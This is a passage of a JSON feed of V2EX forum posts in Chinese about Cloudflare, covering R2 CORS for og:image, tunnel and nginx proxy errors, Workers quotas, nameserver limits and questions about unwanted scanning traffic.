      "content_html": "\u7f51\u7ad9 og:image \u793e\u4ea4\u9884\u89c8\u6293\u53d6\u4e0d\u5230\uff1f\u8e29\u5751\u8bb0\u5f55\uff01\u539f\u6765\u662f Cloudflare R2 \u6ca1\u6709\u52a0 CORS header \uff0c\u5bfc\u81f4 Twitter/X \u6293\u4e0d\u5230\u7f29\u7565\u56fe\u3002<br /><br />\u540e\u53f0\u624b\u52a8\u52a0\u4e0a Access-Control-Allow-Origin: *\uff0c\u5237\u65b0 CDN \u7f13\u5b58\u4e00\u5206\u949f\u641e\u5b9a\uff01\u5efa\u8bae\u6240\u6709\u7528 R2/\u5bf9\u8c61\u5b58\u50a8\u505a og:image \u7684\u5f00\u53d1\u8005\u90fd\u6ce8\u610f\u8fd9\u4e2a\u8de8\u57df\u5751\uff0c\u7701\u4e0b\u65e0\u6570\u8c03\u8bd5\u65f6\u95f4\uff01", 
      "date_published": "2025-10-09T02:54:23+00:00", 
      "title": "\u95ee\u9898\u603b\u7ed3 & \u89e3\u51b3\u7ecf\u9a8c | Cloudflare R2 og:image \u8de8\u57df\u6293\u53d6\u5931\u8d25", 
      "id": "https://www.v2ex.com/t/1163843"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/DopaminePlz", 
        "name": "DopaminePlz", 
        "avatar": "https://cdn.v2ex.com/gravatar/18fe7de28c6a8e5e193f9bf66f2fcf60?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/1163577", 
      "title": "tunnel \u51fa\u9519\uff01", 
      "id": "https://www.v2ex.com/t/1163577", 
      "date_published": "2025-10-07T00:44:34+00:00", 
      "content_html": "<p>\u6309\u7167\u5b98\u65b9 Tunnels -- Install and run a connector \u547d\u4ee4\u51fa\u9519\uff01</p>\n<pre><code>docker run cloudflare/cloudflared:latest tunnel --no-autoupdate run --token $TOKEN\n</code></pre>\n<p>\u51fa\u9519\u4fe1\u606f\u5982\u4e0b\uff1a</p>\n<pre><code>Incorrect Usage: flag provided but not defined: -token\n\nNAME:\n   cloudflared tunnel run - Proxy a local web server by running the given tunnel\n\nUSAGE:\n   cloudflared tunnel run [command options] TUNNEL-ID\n</code></pre>\n<p>\u4ee5\u524d\u5728\u53e6\u5916\u4e00\u53f0\u8bbe\u5907\u4e0a\u8fd0\u884c\u597d\u597d\u7684\uff0c\u4eca\u5929\u5728\u963f\u91cc\u4e91\u4e0a\u5c31\u51fa\u73b0\u8fd9\u4e2a\u9519\u8bef\uff01\n\u8bf7\u95ee\u5982\u4f55\u89e3\u51b3\uff1f</p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/azev", 
        "name": "azev", 
        "avatar": "https://cdn.v2ex.com/gravatar/f21a89989714d9a010856e3783923299?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/1158964", 
      "date_modified": "2025-09-14T22:54:23+00:00", 
      "content_html": "<p>\u770b\u5230 24 \u5c0f\u65f6\u5185\u6709\u4e2a ip \u8bf7\u6c42\u6211\u7f51\u7ad9\u7684 xmlrpc.php \u8fbe\u5230\u4e86 90 \u591a\u4e07\u6b21\uff0c\u4f46\u4e00\u76f4\u6ca1\u6709\u88ab\u62e6\u6389 \u4e00\u76f4\u8fd8\u5728\u8bf7\u6c42<br/>\n\u5fc5\u987b\u5f97\u624b\u52a8\u5efa WAF \u5417\uff1f</p>\n", 
      "date_published": "2025-09-13T06:21:35+00:00", 
      "title": "\u9ed8\u8ba4 cloudflare \u4e0d\u5bf9\u7f51\u7ad9\u505a\u9632\u62a4\u5417\uff1f", 
      "id": "https://www.v2ex.com/t/1158964"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/3img", 
        "name": "3img", 
        "avatar": "https://cdn.v2ex.com/avatar/4b0b/4f95/37965_large.png?m=1646962058"
      }, 
      "url": "https://www.v2ex.com/t/1155197", 
      "date_modified": "2025-08-27T06:20:56+00:00", 
      "content_html": "<p>\u73b0\u5728\u7ed1\u4e86\u4e8c\u7ea7\u57df\u540d\u662f\u53ef\u4ee5\u7684</p>\n", 
      "date_published": "2025-08-27T02:19:18+00:00", 
      "title": "cloudflare \u7684 page \u80fd\u7ed1\u5b9a\u6839\u57df\u540d\u5417", 
      "id": "https://www.v2ex.com/t/1155197"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/shendaowu", 
        "name": "shendaowu", 
        "avatar": "https://cdn.v2ex.com/avatar/6fa4/0f0c/233858_large.png?m=1771487434"
      }, 
      "url": "https://www.v2ex.com/t/1154647", 
      "title": "\u96be\u4ee5\u7f13\u5b58\u7684\u52a8\u6001\u9875\u9762\u7528\u514d\u8d39 Cloudflare \u670d\u52a1\u5668\u653e\u5728\u90a3\u91cc\u66f4\u5feb\uff1f\u7528 CF \u4e3b\u8981\u662f\u4e3a\u4e86\u9632 DDoS\u3002", 
      "id": "https://www.v2ex.com/t/1154647", 
      "date_published": "2025-08-25T00:23:22+00:00", 
      "content_html": "<p>\u7ad9\u5185\u80fd\u641c\u5230\u4e00\u4e2a\u76f8\u5173\u7684\u5e16\u5b50\uff1a <a href=\"https://v2ex.com/t/189444\" rel=\"nofollow\">https://v2ex.com/t/189444</a> \u3002\u4e0d\u8fc7\u90a3\u4e2a\u8bf4\u7684\u662f CDN \u7684\u901f\u5ea6\u3002</p>\n<p>\u6211\u7684\u7f51\u7ad9\u4f1a\u6709\u4e00\u4e9b\u80fd\u7f13\u5b58\u7684\u9875\u9762\u3002\u80fd\u7f13\u5b58\u7684\u6211\u80af\u5b9a\u4f1a\u8bbe\u7f6e\u7f13\u5b58\u7684\u3002\u95ee\u9898\u662f\u5927\u90e8\u5206\u9875\u9762\u53ef\u80fd\u90fd\u662f\u96be\u4ee5\u7f13\u5b58\u7684\u3002\u6211\u5f3a\u884c\u5206\u6790\u4e86\u4e00\u4e0b\uff0c\u5982\u679c\u670d\u52a1\u5668\u5728\u9999\u6e2f\u7684\u8bdd\uff0c\u76f8\u6bd4\u670d\u52a1\u5668\u5728\u7f8e\u56fd\u897f\u6d77\u5cb8\u53ef\u80fd\u4f1a\u7ed5\u66f4\u591a\u7684\u8def\u3002\u53e6\u5916\u4e0d\u77e5\u9053\u670d\u52a1\u5668\u5728\u97e9\u56fd\u6216\u8005\u65e5\u672c\u4f1a\u4e0d\u4f1a\u66f4\u5feb\u3002\u6211\u6253\u7b97\u7528\u963f\u91cc\u4e91\uff0c\u6211\u770b\u8fc7\u4e86\uff0c\u4e0d\u540c\u5730\u533a\u5171\u4eab\u578b\u670d\u52a1\u5668\u4ef7\u683c\u662f\u4e0d\u4e00\u6837\u7684\u3002\u97e9\u56fd\u597d\u50cf\u6ca1\u6709\u5171\u4eab\u578b\u7684\u670d\u52a1\u5668\u3002\u4e0d\u77e5\u9053\u6709\u6ca1\u6709\u66f4\u591a\u7684\u5751\u3002\u6211\u8fd8\u9700\u8981\u7528\u65e5\u5fd7\u670d\u52a1\u548c OSS \uff0c\u6ca1\u51c6\u8fd8\u4f1a\u7528\u5176\u4ed6\u7684\u670d\u52a1\u3002</p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/shendaowu", 
        "name": "shendaowu", 
        "avatar": "https://cdn.v2ex.com/avatar/6fa4/0f0c/233858_large.png?m=1771487434"
      }, 
      "url": "https://www.v2ex.com/t/1154112", 
      "title": "Cloudflare \u5404\u4e2a\u8ba1\u5212\u591a\u5c11\u6d41\u91cf\u4ee5\u4e0b\u4e0d\u4f1a\u88ab\u5ba2\u670d\u50ac\u7740\u4e70\u66f4\u9ad8\u7684\u8ba1\u5212\uff1f", 
      "id": "https://www.v2ex.com/t/1154112", 
      "date_published": "2025-08-22T00:16:58+00:00", 
      "content_html": "<p>\u6211\u4e4b\u524d\u542c\u8bf4\u514d\u8d39\u7684\u8ba1\u5212\u88ab\u653b\u51fb\u7684\u6d41\u91cf\u5927\u4e86\u4f1a\u88ab\u5ba2\u670d\u50ac\u7740\u4e70\u4ed8\u8d39\u8ba1\u5212\u3002\u6240\u4ee5\u5047\u8bbe\u4ed8\u8d39\u7684\u8ba1\u5212\u6d41\u91cf\u5927\u4e86\u4e5f\u4f1a\u88ab\u50ac\u3002\u53e6\u5916\u6211\u4e0d\u77e5\u9053\u6d41\u91cf\u5177\u4f53\u662f\u600e\u4e48\u8861\u91cf\u7684\uff0c\u662f\u6bcf\u5929\u5927\u4e8e\u591a\u5c11\u6d41\u91cf\uff0c\u6bcf\u6708\u5927\u4e8e\u591a\u5c11\u6d41\u91cf\uff0c\u8fd8\u662f\u7a81\u53d1\u7684\u6d41\u91cf\u3002\u6216\u8005\u6709\u5176\u4ed6\u7684\u6807\u51c6\uff1f\u6211\u8bf4\u7684\u8ba1\u5212\u5c31\u662f\u5e94\u7528\u7a0b\u5e8f\u670d\u52a1\u90a3\u4e2a\uff0c20 \u7f8e\u5143\u4e00\u4e2a\u6708\u3001200 \u7f8e\u5143\u4e00\u4e2a\u6708\u90a3\u4e2a\uff0c\u8fd8\u6709\u514d\u8d39\u548c\u5b9a\u5236\u7684\u3002\u8fd9\u91cc\uff1a <a href=\"https://www.cloudflare.com/zh-cn/plans/\" rel=\"nofollow\">https://www.cloudflare.com/zh-cn/plans/</a> \u3002</p>\n<p>\u53e6\u5916\u88ab\u50ac\u4e4b\u540e\u4e0d\u5347\u7ea7\u4f1a\u600e\u6837\uff1f\u6211\u53ea\u641c\u5230\u4e00\u4e2a\u8bf4\u6ca1\u4ec0\u4e48\u4e8b\u7684\u3002\u4e0d\u592a\u611f\u4fe1\u3002\u53e6\u5916\u6211\u9690\u7ea6\u8bb0\u5f97\u6211\u770b\u5230\u6709\u4eba\u8bf4\u4e0d\u5347\u7ea7\u4f1a\u6709\u4e00\u4e9b\u9ebb\u70e6\uff0c\u4f46\u662f\u641c\u4e0d\u5230\u4e86\u3002</p>\n<p>\u6211\u7684\u7f51\u7ad9\u672c\u8eab\u5e94\u8be5\u4e0d\u4f1a\u6709\u591a\u5c11\u6d41\u91cf\uff0c\u5c31\u662f\u53ef\u80fd\u4f1a\u88ab D \u3002\u8fd9\u4e2a\u6709\u5173\u7cfb\u5417\uff1f</p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/defaqman", 
        "name": "defaqman", 
        "avatar": "https://cdn.v2ex.com/gravatar/f6afbb2f4682d494402a9a325c13f515?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/1153498", 
      "date_modified": "2025-08-20T06:14:53+00:00", 
      "content_html": "<p>\u5982\u9898\uff0c \u4e4b\u524d\u4ece\u5f00\u59cb\u4e70\u57df\u540d\uff0c\u90e8\u7f72\u5c0f\u670d\u52a1\uff0c \u5c0f\u7f51\u7ad9\uff0c \u8585\u7f8a\u6bdb\u4e00\u7cfb\u5217\u514d\u8d39\u7684\u548c\u4f4e\u4ef7\u7684\u670d\u52a1\u7528\u591a\u4e86\u4e4b\u540e\uff0c \u6211\u73b0\u5728\u65b0\u9879\u76ee\u90e8\u7f72\u7684\u65f6\u5019\u867d\u7136\u660e\u663e\u5bf9\u6bd4 aws \u548c gcd \u7b49\u66f4\u5408\u9002\uff0c \u4f46\u662f\u6211\u8fd8\u662f\u60f3\u8981\u7528 cf \u3002\u8d5b\u535a\u83e9\u8428\u5df2\u7ecf\u5c06\u6211\u628a\u63e1\u4e86\uff0c \u5c31\u9694\u8fd9\u7b49\u7740\u3002</p>\n", 
      "date_published": "2025-08-19T09:26:50+00:00", 
      "title": "\u6211\u53d1\u73b0 cloudflare \u7528\u591a\u4e86\u4e4b\u540e\uff0c \u6211\u6240\u6709\u7684\u89c4\u5212\u90fd\u60f3\u5f80\u4e0a\u9760", 
      "id": "https://www.v2ex.com/t/1153498"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/TrackBack", 
        "name": "TrackBack", 
        "avatar": "https://cdn.v2ex.com/gravatar/33c6b285c23c89c9711033aa6bf64d99?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/1153316", 
      "date_modified": "2025-08-18T23:29:51+00:00", 
      "content_html": "\u81ea\u5df1\u7684\u9759\u6001\u5c0f\u535a\u5ba2\u4e4b\u524d\u6258\u7ba1\u5728\u56fd\u5185\u67d0\u4e91\u5bf9\u8c61\u5b58\u50a8+cdn, \u56e0\u4e3a\u672c\u6765\u5c31\u81ea\u5df1\u73a9\u73a9\u4e5f\u6ca1\u591a\u5c11\u6d41\u91cf<br /><br />\u4e0a\u4e2a\u6708\u611f\u89c9\u8d39\u7528\u592a\u8d35\u4e86\uff0c\u76f4\u63a5\u5168\u90e8\u8fc1\u79fb\u5230 cloudflare pages, \u514d\u8d39\u662f\u514d\u8d39\u4e86\uff0c\u4f46\u662f\u6bcf\u5929\u591a\u4e86\u51e0\u5341\u500d\u8bf7\u6c42\uff0c\u5168\u662f\u5168\u7403\u5404\u5730\u5947\u602a\u7684\u8def\u5f84\u5728\u626b<br /><br />\u535a\u5ba2\u672c\u8eab\u6bcf\u5929\u7684\u9605\u8bfb\u603b\u6570\u5012\u662f\u548c\u4e4b\u524d\u6ca1\u4ec0\u4e48\u533a\u522b<br /><br />\u867d\u7136\u6211\u4e00\u4e2a\u9759\u6001\u535a\u5ba2\u4e5f\u4e0d\u6015\u4ed6\u626b\uff0ccloudflare \u4e5f\u4e0d\u6536\u94b1<br /><br />\u4f46\u662f\u8fd8\u662f\u5f88\u5947\u602a\uff0c\u6211\u57df\u540d\u90fd\u6ca1\u53d8\u5b83\u4eec\u600e\u4e48\u7a81\u7136\u627e\u5230\u6211\u7f51\u7ad9\u7684\uff1f cloudflare \u4f1a\u5728\u54ea\u91cc\u516c\u5f00\u5417\uff1f", 
      "date_published": "2025-08-18T15:48:31+00:00", 
      "title": "\u7f51\u7ad9\u4e0a cloudflare \u4e4b\u540e\u7684\u5947\u602a\u6d41\u91cf\u90fd\u662f\u54ea\u91cc\u6765\u7684", 
      "id": "https://www.v2ex.com/t/1153316"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/viger", 
        "name": "viger", 
        "avatar": "https://cdn.v2ex.com/avatar/f5eb/d52a/40775_large.png?m=1755230199"
      }, 
      "url": "https://www.v2ex.com/t/1152606", 
      "date_modified": "2025-08-16T04:57:57+00:00", 
      "content_html": "\u524d\u6bb5\u65f6\u95f4\u77ed\u6682\u5c1d\u8bd5(1 \uff0c2 \u5929)\u4e86\u6700\u65b0\u51fa\u6765\u7684 MOONTV \u8fd9\u4e2a\u9879\u76ee\uff0c\u5f88\u5feb\u5c31\u4ece CF \u5220\u9664\u4e86\u3002<br />\u4f46\u662f\u8fd8\u662f\u88ab CF \u9501\u4e86\u8d26\u6237\u521b\u5efa works \u548c pages \u90e8\u7f72\u529f\u80fd\uff1b<br />\u4e0d\u77e5\u9053\u5404\u4f4d\u57fa\u53cb\u6709\u4ec0\u4e48\u89e3\u9501\u65b9\u6cd5\u6ca1\u6709?<br />\u5f53\u7136\u5f88\u591a\u57fa\u53cb\u5efa\u8bae\u8bf4\u91cd\u5efa\u4e00\u4e2a\u8d26\u6237\u5c31\u597d\u4e86,\u8fd9\u4e5f\u662f\u4e00\u4e2a\u597d\u65b9\u6cd5\uff1b\u5f53\u65f6\u4e0d\u9002\u5408\u6211\uff08\u6211\u6709\u5f88\u591a\u9879\u76ee\u8fd8\u6709\u5728\u7528\u7684\u7389\u7c73\uff0c\u8fc1\u79fb\u8d77\u6765\u975e\u5e38\u9ebb\u70e6\uff09\uff1b<br />\u8c8c\u4f3c\u5199 report reuse \u7ed9 CF \u4e5f\u662f\u673a\u5668\u4eba\u56de\u590d\uff0c\u5e76\u65e0\u5b9e\u9645\u6548\u679c\uff1b<br />--<br />\u770b\u6765\u6d4b\u8bd5\u4e00\u4e9b\u5371\u9669\u9879\u76ee\u8fd8\u662f\u5f97\u7528\u5c0f\u53f7\uff1b<br />\u5426\u5219\u5bfc\u81f4\u975e\u5e38\u9ebb\u70e6\u7684\u4e8b\u60c5\uff1b<br />--<br />\u8981\u5410\u69fd\u7684\u57fa\u53cb\u8bf7\u52ff\u4eba\u8eab\u653b\u51fb\uff1b<br />\u8c22\u8c22\uff1b", 
      "date_published": "2025-08-15T04:01:05+00:00", 
      "title": "\u88ab CF block \u4e86\u8d26\u6237,\u4f55\u89e3\uff1f", 
      "id": "https://www.v2ex.com/t/1152606"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/netnr", 
        "name": "netnr", 
        "avatar": "https://cdn.v2ex.com/avatar/9bfd/9fda/426497_large.png?m=1758579152"
      }, 
      "url": "https://www.v2ex.com/t/1152564", 
      "title": "Workers \u989d\u5ea6\u8d85\u4e86\u5bfc\u81f4\u9759\u6001\u7ad9\u70b9\u62a5\u9519 1027", 
      "id": "https://www.v2ex.com/t/1152564", 
      "date_published": "2025-08-15T02:31:55+00:00", 
      "content_html": "<p>\u4eca\u5929\u65e9\u4e0a\uff0c\u8bbf\u95ee\u90e8\u7f72\u5230 Cloudflaer Pages \u7684\u9759\u6001\u7ad9\u70b9\u62a5\u9519 1027 \uff0c\u518d\u7ec6\u770b\u4e86\u4e00\u4e0b\u662f Workers \u989d\u5ea6\u8d85\u4e86\uff0c\n\u6709\u4e00\u4e2a\u90e8\u7f72\u7684\u662f Workers \uff0c\u5176\u4f59\u7684\u5168\u662f\u9759\u6001\u7ad9\u70b9\uff0c\u4e5f\u62a5\u9519 1027 \uff0c\u4ee5\u524d\u6ca1\u9047\u5230\u8fc7\u8fd9\u79cd\u60c5\u51b5\uff0c\u4ee5\u524d\u4e5f\u7ecf\u5e38 Workers \u8d85\u989d\u5ea6\uff0c\u4f60\u4eec\u5462\uff1f</p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/ethusdt", 
        "name": "ethusdt", 
        "avatar": "https://cdn.v2ex.com/avatar/e7d0/b1a7/254353_large.png?m=1772793943"
      }, 
      "url": "https://www.v2ex.com/t/1152171", 
      "date_modified": "2025-08-16T04:58:03+00:00", 
      "content_html": "<p><a href=\"https://www.cloudflare.com/domain-registration-agreement/\" rel=\"nofollow\">CF Agreement</a> \u4e2d\u663e\u793a\u7684:</p>\n<blockquote>\n<p>6.1 Nameservers. Registrant agrees to use Cloudflare\u2019s nameservers. REGISTRANT ACKNOWLEDGES AND AGREES THAT IT MAY NOT CHANGE THE NAMESERVERS ON THE REGISTRAR SERVICES, AND THAT IT MUST TRANSFER TO A THIRD-PARTY REGISTRAR IF IT WISHES TO CHANGE NAMESERVERS.</p>\n</blockquote>\n<p>\u5728 Saas \u5e73\u53f0\u8981\u7ed1\u5b9a\u8fd9\u4e2a\u57df\u540d\u5230\u5e97\u94fa\uff0c\u9700\u8981\u4fee\u6539 ns \uff0c\u4f46 cf \u540e\u53f0\u4e0d\u652f\u6301\u4fee\u6539\u3002\uff08 saas \u4e0d\u652f\u6301 A, CNAME \uff0c\u53ea\u80fd\u6539 NS)</p>\n<p><img alt=\"saas\" class=\"embedded_image\" loading=\"lazy\" referrerpolicy=\"no-referrer\" rel=\"noreferrer\" src=\"https://i.imgur.com/FEtiSBD.png\"/></p>\n<p>\u76ee\u524d\u6211\u7684 cf \u662f\u4e2a free plan \uff0c\u8fd8\u6ca1\u6709\u53d1\u5de5\u5355\u7684\u6743\u9650\uff0c\u53ea\u80fd\u53bb\u793e\u533a\u91cc\u53d1\u8d34\u3002</p>\n<p>\u5347\u7ea7 Pro \u53d1\u5de5\u5355\u7684\u8bdd\uff0c\u5ba2\u670d\u80fd\u5e2e\u4fee\u6539\u5417\uff1f</p>\n", 
      "date_published": "2025-08-13T10:05:37+00:00", 
      "title": "cf \u4e70\u7684\u57df\u540d\u7adf\u7136\u4e0d\u652f\u6301\u6539 NS", 
      "id": "https://www.v2ex.com/t/1152171"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/RealYourDad", 
        "name": "RealYourDad", 
        "avatar": "https://cdn.v2ex.com/avatar/504e/77fe/558079_large.png?m=1743039867"
      }, 
      "url": "https://www.v2ex.com/t/1151544", 
      "title": "\u5199\u4e86\u4e2a\u5c0f\u5de5\u5177\uff0c\u514d\u8d39\u4e2d\u8f6c Gemini API", 
      "id": "https://www.v2ex.com/t/1151544", 
      "date_published": "2025-08-11T05:13:29+00:00", 
      "content_html": "<p><a href=\"https://github.com/zaunist/gemini-balance-do\" rel=\"nofollow\">https://github.com/zaunist/gemini-balance-do</a></p>\n<p>\u539f\u7406\u89e3\u6790\uff1a</p>\n<p>Durable Objects \u662f cloudflare \u7684\u4e00\u6b3e\u652f\u6301\u514d\u8d39\u989d\u5ea6\u7684\u4ea7\u54c1\uff0c\u53ef\u4ee5\u56fa\u5b9a\u5728\u6307\u5b9a\u533a\u57df\u8fd0\u884c\uff0c\u6bd4\u5982\u7f8e\u56fd\u3002</p>\n<p>\u56e0\u6b64\u7ed3\u5408 cloudflare worker \uff0c\u53ef\u4ee5\u5b9e\u73b0\u4ee3\u7406 Gemini API \u8bf7\u6c42\uff0c\u5e76\u4e14\u7531\u4e8e Durable Objects \u4f5c\u4e3a\u4e00\u4e2a\u6301\u4e45\u5bf9\u8c61\uff0c\u521b\u5efa\u5b8c\u6210\u4ee5\u540e\u533a\u57df\u5c31\u4e0d\u4f1a\u53d1\u751f\u6539\u53d8\uff0c\u6240\u4ee5\u53ef\u4ee5\u7a33\u5b9a\u4ee3\u7406 Gemini API \u3002</p>\n<p>\u5373\u4f7f\u4f60\u4f7f\u7528\u4e86\u4f4d\u4e8e\u9999\u6e2f\u7684\u4f18\u9009 ip \uff0c\u6700\u7ec8\u8bf7\u6c42\u4e5f\u4f1a\u8f6c\u53d1\u5230\u7f8e\u56fd\u7684 Durable Objects \u4e2d\uff0c\u4e0d\u4f1a\u53d7\u5230\u5730\u533a\u9650\u5236\u3002</p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/StephenJoseDai", 
        "name": "StephenJoseDai", 
        "avatar": "https://cdn.v2ex.com/gravatar/b647d4418d3528d4d92058c6ab24b1d1?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/1150973", 
      "title": "Nginx \u53cd\u5411\u4ee3\u7406 CLoudflare \u7684 Pages \u9879\u76ee\u57df\u540d\u51fa\u9519", 
      "id": "https://www.v2ex.com/t/1150973", 
      "date_published": "2025-08-08T03:51:34+00:00", 
      "content_html": "<p>\u6211\u5728 Cloudflare \u7684 Pages \u4e0a\u90e8\u7f72\u4e86 github \u7684\u9879\u76ee\uff0c\u9ed8\u8ba4\u57df\u540d\u662f.dev \u7684\uff0c\u4e8e\u662f\u6211\u7ed1\u5b9a\u4e86\u4e00\u4e2a\u5728 cloudflare \u4e0a\u6258\u7ba1\u7684\u57df\u540d\uff0c\u5047\u8bbe\u662f <a href=\"http://abc.com\" rel=\"nofollow\">abc.com</a> \uff0c\u9879\u76ee\u89e3\u6790\u7684\u662f <a href=\"http://pj.abc.com\" rel=\"nofollow\">pj.abc.com</a> \uff0c\u6211\u8bbf\u95ee <a href=\"http://pj.abc.com\" rel=\"nofollow\">pj.abc.com</a> \u7684\u65f6\u5019\u662f reset \uff0c\u56e0\u4e3a\u957f\u57ce\u7684\u539f\u56e0\uff0c\u6211\u53ea\u80fd\u4f7f\u7528 VPN \uff0c\u4f46\u8fd9\u4e0d\u662f\u4e00\u4e2a\u597d\u529e\u6cd5\uff0c\u4e8e\u662f\u6211\u627e\u5230\u4e86\u4e00\u53f0\u80fd\u591f\u7ffb\u5899\u7684 Linux \u670d\u52a1\u5668\uff0c\u4f7f\u7528 nginx \u5bf9\u8fd9\u4e2a\u57df\u540d\u8fdb\u884c\u53cd\u5411\u4ee3\u7406\uff0c\u4f46\u662f\u4f3c\u4e4e\u8bbf\u95ee\u65f6\u4f1a\u62a5 502 \uff0c\u8fd9\u4e2a\u662f\u5565\u95ee\u9898\u5f15\u8d77\u7684\uff1f</p>\n<pre><code>server {\n    listen 6659;\n    server_name pj.123.com;\n    access_log /var/nginx/logs/http_proxy_access.log main;\n    error_log /var/nginx/logs/http_proxy_error.log debug;\n    if ($host ~* \"^pj.123.com$\") {\n        rewrite ^/(.*)$ https://pj.123.com:7956$request_uri permanent;\n    }\n}\n\nserver {\n    listen 7956 ssl;\n    server_name pj.123.com;\n    add_header Strict-Transport-Security \"max-age=31536000; includeSubDomains\" always;\n    access_log /var/nginx/logs/https_proxy_access.log main;\n    error_log /data/nginx/logs/https_proxy_error.log debug;\n    gzip on;\n    gzip_comp_level 9;\n    gzip_types text/css text/plain text/xml application/javascript application/x-javascript application/html application/xml image/png image/jpg image/jpeg image/gif image/webp image/svg+xml;\n    charset utf-8;\n    ssl_certificate   /etc/sssl_cert/pj.123.com.crt;\n    ssl_certificate_key  /etc/ssl_cert/pj.123.com.key;\n    ssl_session_timeout 5m;\n    ssl_ciphers ECDHE-RSA-AES128-GCM-SHA256:ECDHE:ECDH:AES:HIGH:!NULL:!aNULL:!MD5:!ADH:!RC4;\n    ssl_protocols TLSv1.1 TLSv1.2 TLSv1.3;\n    ssl_prefer_server_ciphers on;\n    \n    \n    location / {\n\n        proxy_pass https://pj.abc.com;\n        proxy_connect_timeout 30;\n        proxy_read_timeout 60;\n        proxy_send_timeout 60;\n        proxy_set_header Host $host;\n        proxy_set_header X-Real-IP $remote_addr;\n        proxy_set_header REMOTE-HOST $remote_addr;\n        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\n        #proxy_set_header Connection \"upgrade\";\n        #proxy_set_header Upgrade $http_upgrade;\n        proxy_set_header X-Forwarded-Proto $scheme;\n        proxy_ssl_server_name on;\n    }\n}\n\n</code></pre>\n<p>\u6211\u770b\u4e86\u4e0b\u65e5\u5fd7\uff0c\u4f3c\u4e4e\u662f\u62a5 SSL \u7684\u95ee\u9898</p>\n<pre><code>2025/08/08 03:46:46 [error] 22#22: *7 peer closed connection in SSL handshake (104: Connection reset by peer) while SSL handshaking to upstream, client: 3.5.2.4, server: pj.123.com, request: \"GET / HTTP/1.1\", upstream: \"https://104.21.89.160:443/\", host: \"pj.123.com:7956\"\n2025/08/08 03:46:46 [warn] 22#22: *7 upstream server temporarily disabled while SSL handshaking to upstream, client: 3.5.2.4, server: pj.123.com, request: \"GET / HTTP/1.1\", upstream: \"https://104.21.89.160:443/\", host: \"pj.123.com:7956\"\n2025/08/08 03:46:46 [error] 22#22: *7 peer closed connection in SSL handshake (104: Connection reset by peer) while SSL handshaking to upstream, client: 3.5.2.4, server: pj.123.com, request: \"GET / HTTP/1.1\", upstream: \"https://172.67.189.154:443/\", host: \"pj.123.com:7956\"\n2025/08/08 03:46:46 [warn] 22#22: *7 upstream server temporarily disabled while SSL handshaking to upstream, client: 3.5.2.4, server: pj.123.com, request: \"GET / HTTP/1.1\", upstream: \"https://172.67.189.154:443/\", host: \"pj.123.com:7956\"\n2025/08/08 03:46:46 [error] 22#22: *7 no live upstreams while connecting to upstream, client: 3.5.2.4, server: pj.123.com, request: \"GET /favicon.ico HTTP/1.1\", upstream: \"https://pj.abc.com/favicon.ico\", host: \"pj.123.com:7956\", referrer: \"https://pj.123.com:7956/\"\n</code></pre>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/FawkesV", 
        "name": "FawkesV", 
        "avatar": "https://cdn.v2ex.com/avatar/b79c/a024/520829_large.png?m=1767143987"
      }, 
      "url": "https://www.v2ex.com/t/1150807", 
      "date_modified": "2025-08-08T08:18:23+00:00", 
      "content_html": "<p>\u6211\u6709\u4e00\u4e2a\u57df\u540d\u6ca1\u6709\u5907\u6848\uff0c\u5728 cloudflace \u4e2d\u505a\u4e86 dns \u7684\u89e3\u6790 \uff0c\u89e3\u6790\u670d\u52a1\u5668\u662f\u56fd\u5185\u7684\u534e\u4e3a\u4e91\u670d\u52a1\u5668\uff0c\u4e4b\u524d\u90fd\u662f\u6b63\u5e38\u8bbf\u95ee\u7684\uff0c\u4f46\u662f\u4eca\u5929\u7a81\u7136\u65e0\u6cd5\u8bbf\u95ee\u4e86\uff0c\u6d4b\u8bd5\u57df\u540d\u7684 ip \u8bbf\u95ee\u5230\u56fd\u5916\u4e86\u8fd9\u662f\u4e3a\u5565\uff1f</p>\n", 
      "date_published": "2025-08-07T12:08:43+00:00", 
      "title": "cloudflare \u7684\u672a\u5907\u6848\u57df\u540d\u65e0\u6cd5\u89e3\u6790\u5230\u56fd\u5185\u7684\u4e91\u670d\u52a1\u5668\u4e86\u5417\uff1f", 
      "id": "https://www.v2ex.com/t/1150807"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/dcvsiug", 
        "name": "dcvsiug", 
        "avatar": "https://cdn.v2ex.com/avatar/61a0/c6bc/564614_large.png?m=1754488536"
      }, 
      "url": "https://www.v2ex.com/t/1150495", 
      "date_modified": "2025-08-06T14:00:26+00:00", 
